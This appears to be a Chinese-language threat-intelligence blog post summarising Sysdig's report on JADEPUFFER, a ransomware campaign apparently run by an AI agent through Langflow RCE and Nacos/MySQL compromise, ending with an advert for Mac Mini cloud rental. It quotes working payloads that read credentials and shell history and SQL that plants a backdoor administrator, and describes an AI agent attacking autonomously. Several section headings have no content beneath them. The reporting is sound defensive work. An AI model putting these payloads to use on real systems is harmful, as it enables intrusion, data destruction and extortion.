一句話結論：Sysdig 將 JADEPUFFER 定義為 Agentic Threat Actor（ATA，智慧體威脅行為者）——攻擊能力由 AI Agent 交付，而非人工驅動的工具集。這是報告中正式提出的新分類概念。

時間線：

成因逐步拆解：該介面本意是校驗使用者自訂函式節點語法，實作為 ast.parse() → compile() → exec()，完全沒有身分驗證與沙箱隔離。Python 函式定義時裝飾器與參數預設值在定義瞬間立即求值，攻擊者把惡意程式碼寫進預設參數，Langflow 做「合法性校驗」時程式碼已在伺服器執行——無需登入，一個 HTTP POST 即 RCE。

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Trend Micro 在追蹤 Flodrix 殭屍網路活動中記錄到上述典型 payload（另一波獨立利用）。最終下載 700 位元組 Bash 指令碼拉取 Flodrix ELF 二進位檔，組建 TCP/UDP 雙通道 DDoS 殭屍網路。

修補分析：Langflow 1.3.0 為 post_validate_code 新增 _current_user: CurrentActiveUser 相依性注入；FastAPI 先驗證 JWT Bearer 或 x-api-key，失敗直接 401/403，請求不會到達漏洞邏輯。

Phase 1 — 拿下 Langflow 主機：全部 payload 以 Base64 編碼 Python 經 RCE 端點投遞。

Phase 2 — 攻破 MySQL + Nacos 生產伺服器：Nacos 廣泛用於阿里系微服務；鑑權有 CVE-2021-29441 繞過歷史，預設 JWT 簽章密鑰自 2020 年起公開於文件，許多部署未更換。

Nacos 後門管理員注入——31 秒自主修復閉環（UTC 時間戳）：

cur.execute('DELETE FROM users WHERE username="xadmin"')
hash_val = bcrypt.hashpw(b'admin123', bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')
cur.execute('INSERT INTO roles (username, role) VALUES ("xadmin", "ROLE_ADMIN")')

容器逃逸探測（約 8 分鐘）：利用 MySQL INTO OUTFILE / LOAD_FILE 測試寫入、讀回、/var/run/docker.sock、/proc/1/cgroup、/etc/hostname，檢查 mysql.func UDF 提權可能。進入勒索前主動寫「完成標記」_pwn_cleanup.txt——Sysdig 指出這更像結構化 Agent 發信號進入下一階段，而非固定指令碼行為。

破壞性加密：將全部 1,342 條 Nacos 設定項用 AES_ENCRYPT() 加密，刪除 config_info 與 his_config_info，建立勒索表 README_RANSOM。密鑰 uuid4() 隨機產生、僅列印一次、從未儲存——付款也無法恢復。勒索信聲稱 AES-256，但 MySQL 預設實為 AES-128-ECB。

大規模破壞：按 ROI 優先 DROP DATABASE，程式碼註解自述「已備份至 64.20.53[.]230」——Sysdig 無獨立證據證實資料真被回傳。外鍵約束導致刪除失敗時，下一條 payload 自動加 SET GLOBAL FOREIGN_KEY_CHECKS=0 修復——需理解失敗原因而非無腦重試。

依據 Sysdig 官方防禦建議與事件 IOC，團隊可立即執行以下步驟：

Sysdig 支撐「LLM 驅動」的四條獨立證據線：

產業反應：BleepingComputer、Dark Reading 等稱「首例完全 AI 驅動勒索」；CSO Online 採訪紅隊專家 Vibhum Dubey：更應擔心加密前「安靜期」——Agent 摸清身分體系同時規避偵測，每次入侵表現形式可能略有不同。多家媒體提及 LLMjacking：若攻擊者靠竊取憑證驅動 Agent，多階段攻擊邊際成本趨近於零。

Sysdig 四點結論：① 勒索門檻降至「執行一個 Agent 的成本」；② 老漏洞被自動化武器化，「把整個歷史漏洞庫挨個噴一遍」成本近零；③ LLM 自我敘事給防守方可讀偵測面；④ 「已備份」只是 Agent 程式碼註解自述，未經核實。

攤開替代方案：在公網裸奔 Langflow/Nacos 做 Agent 原型驗證 等於把 API Key 與內網拓撲交給掃描器；本地筆電 7×24 跑自主 Agent 難以實施出站控制與執行時偵測；虛擬機跑 macOS Agent 編排 違反 EULA 且 Metal 效能受限。對需要 iOS CI/CD、完整 Root、隔離測試環境與 7×24 穩定性的 AI Agent 生產與紅隊仿真，KVMNODE 獨占 Mac Mini M4 雲端租用通常是更優解：100% 原裝實體機、開放 sudo、按天/週/月彈性，Agent 工作流可在與生產網路隔離的環境中稽核執行。詳見 定價頁，部署疑難可至 說明中心，下單走 訂購入口。JADEPUFFER 警示：技能門檻已降到執行 Agent 的成本——防守方應把公網應用伺服器、未加固設定中心、公網可達資料庫管理員帳號當作最先會被盯上的攻擊面。

參考信源：Sysdig《JADEPUFFER: Agentic ransomware for automated database extortion》；BleepingComputer、Dark Reading、CyberScoop、CSO Online、Security Affairs；Trend Micro CVE-2025-3248 / Flodrix 分析；NVD、CISA KEV 目錄。